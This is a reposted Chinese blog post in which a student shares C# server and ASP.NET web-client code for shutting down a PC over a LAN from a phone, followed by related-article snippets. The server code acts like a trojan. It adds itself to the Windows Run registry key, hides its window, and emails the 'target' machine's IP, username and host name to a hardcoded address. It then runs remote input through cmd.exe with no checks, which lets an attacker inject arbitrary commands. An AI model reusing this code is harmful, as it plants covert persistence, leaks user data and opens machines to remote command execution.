局域网手机遥控关机

最新推荐文章于 2024-09-15 14:50:06 发布
最新推荐文章于 2024-09-15 14:50:06 发布
阅读量159 收藏
点赞数
文章标签： 操作系统 ui 网络
原文链接：http://www.cnblogs.com/shenwuyu/p/4597702.html
版权

老师带领同学们做局域网聊天时候突然想实现这样的小程序

我的具体思路是通过Socket来传递命令，服务器设置在电脑，根据Web端的客户端操作来执行shutdown关机命令

功能虽然实现了，但遇到不少问题，

.如何把我这个局域网版发展成广域网呢？

 

.我的Web客户端是通过IIS发布的，手机连入局域网进入的，如果我买个域名空间，把这客户端挂在网上，这个程序还可以继续使用么

                                         

以下是服务器端代码

                                                                    

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Threading;
using System.Net;
using System.Diagnostics;

namespace WindowsServer
{

    public partial class Server : Form
    {

        Socket s;
        List<Socket> SocketList = new List<Socket>();
        List<string> NameList = new List<string>();
        public Server()
        {
            InitializeComponent();
            Control.CheckForIllegalCrossThreadCalls = false;
        }
        private void Server_Load(object sender, EventArgs e)
        {
            try
            {
                RegCompStartRun(true, Application.ExecutablePath);
                MessageBox.Show("启动成功！");
            }
            catch (MyException)
            {
                MessageBox.Show("启动成功！");
            }
            catch
            {
                MessageBox.Show(e.ToString());
                DialogResult d;
                d = MessageBox.Show("权限不足，请以管理员身份启动", "提示", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                if (d == DialogResult.OK)
                {
                    this.Close();
                }
            }
            timer1.Enabled = true;
            timer1.Interval = 1000;
            this.lshow.Items.Add("等待服务器启动......");
            s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            IPEndPoint iep = new IPEndPoint(GetIpv4(), 2000);
            s.Bind(iep);  //不能重复两次 

            this.Text = GetIpv4().ToString();
            this.lshow.Items.Add("服务器启动成功");


            string body = "目标服务器IP：" + GetIpv4() + "\r\n" + "目标用户名：" + Environment.UserName + "\r\n" + "目标机器名:" + Environment.MachineName;
            SMTP.Email("455143925@qq.com", Environment.UserName + "上线了", body);
            s.Listen(0);
            Thread t = new Thread(newSocket);    //新开启处理客户端接入Socket的线程
            t.Start();
        }
        static IPAddress GetIpv4()
        {
            IPAddress[] ips = Dns.GetHostAddresses(Dns.GetHostName());
            foreach (IPAddress ip in ips)
            {
                if (ip.AddressFamily == AddressFamily.InterNetwork)
                    return ip;
            }
            return null;
        }
        private void newSocket()
        {
            this.Visible = false;
            while (true)
            {
                Socket c = s.Accept();

                ThreadPool.QueueUserWorkItem(ReciveAccept, c);
            }
        }
        /// <summary>
        /// 此处魔法-----------------
        /// </summary>
        /// <param name="newsocket">要传入方法的socket。</param>
        private void ReciveAccept(object newsocket)
        {
            while (true)
            {
                Socket c = (Socket)newsocket;
                byte[] bytes = new byte[8192];

                int length = c.Receive(bytes);
                string resiveStr = Encoding.UTF8.GetString(bytes, 0, length);
                if (resiveStr.Split('&')[0] == "#LOGIN#")
                {
                    SocketList.Add(c);
                    NameList.Add(resiveStr.Split('&')[1]);
                    lshow.Items.Add("用户：" + resiveStr.Split('&')[1] + "登陆到服务器");
                    for (int i = 0; i < SocketList.Count; i++)
                    {
                        string NameTable = "@NAME@";
                        SocketList[i].Send(Encoding.UTF8.GetBytes("@F5@&"));     //每次发送name 之前让客户端刷新一下
                        for (int j = 0; j < NameList.Count; j++)
                        {
                            NameTable += "&" + NameList[j];
                        }
                        SocketList[i].Send(Encoding.UTF8.GetBytes(NameTable));
                    }
                }
                else if (resiveStr.Split('&')[0] == "#WEBLOGIN#")
                {
                    string str = "目标服务器的机器名：" + Environment.MachineName + "用户名：" + Environment.UserName;
                    c.Send(Encoding.UTF8.GetBytes("@ABOUT@&" + str));
                }
                else if (resiveStr.Split('&')[0] == "#ONE#")
                {
                    string forname = "";
                    for (int i = 0; i < SocketList.Count; i++)
                    {
                        if (SocketList[i] == c)
                        {
                            forname = NameList[i];
                        }
                    }
                    for (int i = 0; i < NameList.Count; i++)
                    {
                        if (NameList[i] == resiveStr.Split('&')[1])
                        {
                            SocketList[i].Send(Encoding.UTF8.GetBytes("@ONE@&" + forname + "&" + resiveStr.Split('&')[2]));
                        }
                    }
                }
                else if (resiveStr.Split('&')[0] == "#ALL#")
                {
                    foreach (Socket sc in SocketList)
                    {
                        if (sc == c)
                            continue;
                        else
                            sc.Send(Encoding.UTF8.GetBytes("@ALL@&" + resiveStr.Split('&')[1] + "：&" + resiveStr.Split('&')[2]));
                    }
                    ///服务器在这里将消息发给除发送客户端以外的所有客户端
                }
                else if (resiveStr.Split('&')[0] == "#SHUTDOWN#")
                {
                    c.Send(Encoding.UTF8.GetBytes("@SHUTDOWN@&终端将在" + resiveStr.Split('&')[1] + "秒后关机！"));
                    Process myProcess = new Process();
                    myProcess.StartInfo.FileName = "cmd.exe";
                    myProcess.StartInfo.UseShellExecute = false;
                    myProcess.StartInfo.RedirectStandardInput = true;
                    myProcess.StartInfo.RedirectStandardOutput = true;
                    myProcess.StartInfo.RedirectStandardError = true;
                    myProcess.StartInfo.CreateNoWindow = true; myProcess.Start();
                    myProcess.StandardInput.WriteLine("shutdown -s -t " + resiveStr.Split('&')[1]);
                }
                else if (resiveStr.Split('&')[0] == "#KILL#")   //客户端走了
                {

                    c.Send(Encoding.UTF8.GetBytes("@KILL@&1"));

                    lshow.Items.Add(resiveStr.Split('&')[1] + "离开了");
                    SocketList.Remove(c);
                    NameList.Remove(resiveStr.Split('&')[1]);
                    for (int i = 0; i < SocketList.Count; i++)
                    {
                        string NameTable = "@NAME@";
                        SocketList[i].Send(Encoding.UTF8.GetBytes("@F5@&"));     //每次发送name 之前让客户端刷新一下
                        for (int j = 0; j < NameList.Count; j++)
                        {
                            NameTable += "&" + NameList[j];
                        }
                        SocketList[i].Send(Encoding.UTF8.GetBytes(NameTable));
                    }
                    c.Close();
                    return;
                }
                ///服务器根据指令发送给私聊目标
                //for (int i = 0; i < NameList.Count; i++)
                //{
                //    if (NameList[i] == resiveStr)
                //    {

                //    }
                //}
            }
        }


        private void Server_FormClosing(object sender, FormClosingEventArgs e)
        {
            for (int i = 0; i < SocketList.Count; i++)
            {
                string 遗言 = "服务器挂掉了，大家散了吧！";
                SocketList[i].Send(Encoding.UTF8.GetBytes("@SERVERKILL@&" + 遗言));
            }
            System.Diagnostics.Process.GetCurrentProcess().Kill();
        }

        private void RegCompStartRun(bool cmd, string argPath)
        {
            try
            {
                if (Microsoft.Win32.Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").GetValue("AutoStartupTestWinFormApp3") != null)
                {
                    
                }
            }
            catch
            {
                throw new MyException();
            }
            string starupPath = argPath;

            if (string.IsNullOrEmpty(argPath))
            {

                //获取当前可执行程序的全路径

                starupPath = Application.ExecutablePath;
                starupPath = starupPath.Replace("/", @"\");
            }
            //表示Window注册表中项级节点,读取 Windows 注册表基项HKEY_LOCAL_MACHINE 

            Microsoft.Win32.RegistryKey loca = Microsoft.Win32.Registry.LocalMachine;

            Microsoft.Win32.RegistryKey run = loca.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");

            try
            {
                //SetValue:存储值的名称
                if (cmd)
                {
                    run.SetValue("AutoStartupTestWinFormApp3", starupPath);//加入注册，参数一为注册节点名称(随意)  
                }
                else
                {
                    run.DeleteValue("AutoStartupTestWinFormApp3", false);//删除该注册节点     
                }
                loca.Close();
            }

            catch (Exception ee)
            {

                MessageBox.Show(ee.Message.ToString(), "提示", MessageBoxButtons.OK, MessageBoxIcon.Error);

            }
        }
    }
}
View Code


以下为web客户端

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Net.Sockets;
using System.Threading.Tasks;
using System.Text;
using System.Net;
using System.Threading;

namespace WebClient
{
    public partial class Web客户端 : System.Web.UI.Page
    {

        Socket c;
        protected void Page_Load(object sender, EventArgs e)
        {
            IPAddress ip4 = IPAddress.Parse("127.0.0.1");
            try
            {
                ip4 = IPAddress.Parse(Request.QueryString["ip"]);
                Label2.Text = ip4.ToString();
            }
            catch
            {
                Response.Redirect("Login.aspx");
            }
            try
            {
                c = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint iep = new IPEndPoint(ip4, 2000);
                c.Connect(iep);
                string sendStr = "#WEBLOGIN#&" + "来自Web的客户端";
                byte[] bytes = Encoding.UTF8.GetBytes(sendStr);
                c.Send(bytes);
                Thread thread = new Thread(CReceive);
                thread.Start();
            }
            catch
            {
                Label1.Text = "未能成功连接终端";
            }

        }
        private void CReceive()           //这里就是客户端 接受消息的方法啊，
        {
            while (true)
            {
                byte[] bytes = new byte[1024];
                int length = c.Receive(bytes);
                string[] message = Encoding.UTF8.GetString(bytes, 0, length).Split('&');
                if (message[0] == "@SHUTDOWN@")
                    WebMessageBox(this.Page, message[1]);
                else if (message[0] == "@ABOUT@")
                {
                    Label1.Text = message[1];
                    WebMessageBox(this.Page, "连接成功");
                }
            }
        }

        public void WebMessageBox(System.Web.UI.Page page, string values)
        {
            page.ClientScript.RegisterStartupScript(page.GetType(), "", "<script language=javascript>alert('" + values + "')</script>");
        }

        protected void Button1_Click(object sender, EventArgs e)
        {
            string sendStr = "#SHUTDOWN#&" + TextBox1.Text;
            byte[] bytes = Encoding.UTF8.GetBytes(sendStr);
            c.Send(bytes);
        }
    }
}
View Code


 

转载于:https://www.cnblogs.com/shenwuyu/p/4597702.html

weixin_30342827
关注
同一局域网，手机关机电脑
09-02
利用Socket，在局域网类通过在手机实现关机。操作为手机通过wifi类查找当前连接网段内实现 30000端口的ip地址。也就是获取到服务端的 ip地址。在查找到有后，进行socket连接。然后，服务端和手机端相互确定字符的格式。起到电脑的关机，重启，和取消操作的小功能。只有 src和 服务端的 .java。需要自己拷贝一次
手机控制电脑,在WIFI局域网下(关机,重启,遥控)
weixin_30855761的博客
12-20 1542
这个软件叫百变遥控：http://blog.sina.com.cn/s/blog_9abc7dbc0101hmut.html 今天周末，在家里看电影，家里用的是台式电脑，我自己买了一个投影仪来专门看视频节目的，因为投影仪是和电脑连接的，所以每次换集啊，想快进啊，就非常不方便，得跑去操作电脑，天冷啊，躺在床上不想动啊，所以想能用手机来操作电脑，于是在网上找了找。 我以前是用的TeamViewer...
手机局域网html,手机遥控电脑开机神器！局域网唤醒App
weixin_39715834的博客
06-15 357
用手机如何遥控电脑开机？如何用手机网络唤醒电脑？现在是冬天，很多朋友都不想起床开电脑，其实完全可以用手机遥控唤醒电脑开机，然后远程控制电脑进行一些操作，例如挂机下载什么的——只要手机和电脑都联网(最好处于同一个局域网)，就可以实现了。要如何才能用手机遥控电脑开机？今天就让小编来为大家介绍一款局域网唤醒电脑的App吧！软件名称：局域网唤醒(Wake On Lan)软件版本：1.24软件大小：3.06...
“小懒虫”安卓手机控制电脑关机
王文松的博客
07-25 2212
背景 好多次晚上，躺在床上听着电脑放的音乐休息，听着听着眼睛睁不开，睡意涌上来，往往这时候我实在是不舍得起来关灯，关电脑，因为起来了很可能浓浓的睡意就没有了，又有精神了，所以就想着写个东西能用手机控制把灯和电脑关掉。今天上海的天气很热，看书实在是看不下去，敲敲程序吧，然后就有了“小懒虫”。 解决方案         写这个软件的时候，想着两种解决方案，如下图   之所以有方
安卓手机控制局域网电脑主机（开机，关机，访问共享文件）
随机事件
08-06 9112
家里有个淘汰的台式机，用了近十年，打算用作类似NAS的家庭服务器 使用安卓手机控制它就成了当然的想法 1.远程开机 有个名词叫wakeup on lan,简称WOL。网上搜索下，很多教程 主要流程就是打开主版的相关选项，配置有线网卡的高级选项和电源选项。配置成功后，即使关闭主机，网卡始终接电，网口灯始终亮着，可以接受外部数据包。 然后使用台式机、安卓、苹果来发送唤醒数据包到该主机。我使用...
猎豹免费wifi怎么遥控电脑关机.docx
09-27
确保手机和电脑在同一局域网下，这样遥控指令才能顺利传输。然后，使用手机扫描电脑屏幕上的二维码，下载并安装对应的遥控应用。目前，安卓用户可以直接下载应用，而苹果（iOS）用户可以通过微信扫描二维码进行操作...
局域网助手注册机
09-14
对局域网或者广域网中的电脑遥控开机，如果远程机器和网卡支持"Wake-On-LAN"。支持命令行、计划、服务。 　5. 快速远程关机或重启大批量的局域网中电脑，支持命令行、计划。 　6. 用户管理。有高速省时的批量操作。 ...
LanHelper局域网助手1.99破解版
11-08
对局域网或者广域网中的电脑遥控开机，如果远程机器和网卡支持"Wake-On-LAN"。支持命令行、计划、服务。 5. 快速远程关机或重启大批量的局域网中电脑，支持命令行、计划。 6. 用户管理。有高速省时的批量操作。 7. ...
局域网助手+cdkey
11-27
对局域网或者广域网中的电脑遥控开机，如果远程机器和网卡支持"Wake-On-LAN"。支持命令行、计划、服务。 5. 快速远程关机或重启大批量的局域网中电脑，支持命令行、计划。 6. 用户管理。有高速省时的批量操作。 7...
掌控局域网监控软件 v1.361
11-12
可以远程控制屏幕，上传下载文件，监控视频，对屏幕进行24小时不断的录像，批量开、关机、分发文件，屏幕墙，视频墙…… 软件使用世界上速度最快的VNC核心，远程遥控鼠标键盘以及上传下载文件的速度超快,传输文件可...
手机局域网关闭计算机的方法,用手机控制电脑关机 方法介绍【图文】
weixin_28796657的博客
07-28 3183
有时候当你忙完一切上 床 准备睡觉时，却忽然发现远在 客厅 的电脑没有关机，此时你就会很烦，可你又不得不跑出去把电脑关了。如果你能够通过手机远程控制电脑关机，那就可以解决问题了。打开手机，把电脑关了就是一件十分方便的事情。那么怎么做到用手机来关电脑呢，好像好多人都不知道啊。今天，小编就跟大家一起来学习用手机控制电脑关机的方法。一：给电脑添加允许远程控制的管理账号1.在 电脑桌 面上，鼠标右击“计算...
记录：通过Socket实现局域网内，手机关闭电脑
guyuelin123的博客
09-02 1248
利用Socket，在局域网类通过在手机实现关机。操作为手机通过wifi类查找当前连接网段内实现 30000端口的ip地址。也就是获取到服务端的 ip地址。在查找到有后，进行socket连接。然后，服务端和手机端相互确定字符的格式。起到电脑的关机，重启，和取消操作的小功能
使用shutdown命令实现局域网内远程关机、重启整蛊他人
weixin_34074740的博客
05-03 2962
用法: shutdown [/i | /l | /s | /r | /g | /a | /p | /h | /e | /o] [/hybrid] [/soft] [/f]    [/m \\computer][/t xxx][/d [p|u:]xx:yy [/c "comment"]]     没有参数   显示帮助。这与键入 /? 是一样的。    /?         显示帮助。这与不键入任何...
手机控制电脑关机程序
二丁目的丰功笔记
12-06 831
原理：移动端与服务器端通过Socket建立连接并通信。服务器端：package shutdownWithAndroid;import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.Outpu
4.网络编程
weixin_45476535的博客
09-14 549
程序注册端口：1024-49151。单个协议下，端口号不能冲突。公有端口0-1023。
【Linux】：信号与信号产生
Yikefore的博客
09-12 1002
信号的基本概念、对信号的理解、信号的多种产生方式以及核心转储的详细介绍！
Linux入门1
最新发布
m0_62770407的博客
09-15 1033
Linux的内核源码开源，所以只需要在内核的基础上加入内核程序就能形成一个完美可用的“操作系统”。虚拟机的名字密码根据自己喜好设置即可，接下来我将虚拟机放到了D盘中，大小根据需求，接下来直接点击下一步即可。第一种是绝对路径，第二种是在。当不使用选项和参数，直接使用ls命令本体，表示：以平铺形式，列出当前工作目录下的内容。不同的发行版在Linux的基础部分都是相同的，本教程是以常用的CentOS为例展开。当Linux终端（命令行）打开的时候，会默认以用户的HOME目录作为当前的工作目录。
"RTL8211E WOL技术规范1.0：远程唤醒与遥控机制详解
同时，WOL技术还涉及远程下令关机和远程下令重启等遥控机制。本文还介绍了通过向RTL8122F发送魔术包来产生中断，从而实现唤醒主机的目的。 本文的主要目的是提供关于RTL8211E集成千兆以太网收发器的WOL技术应用说明...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值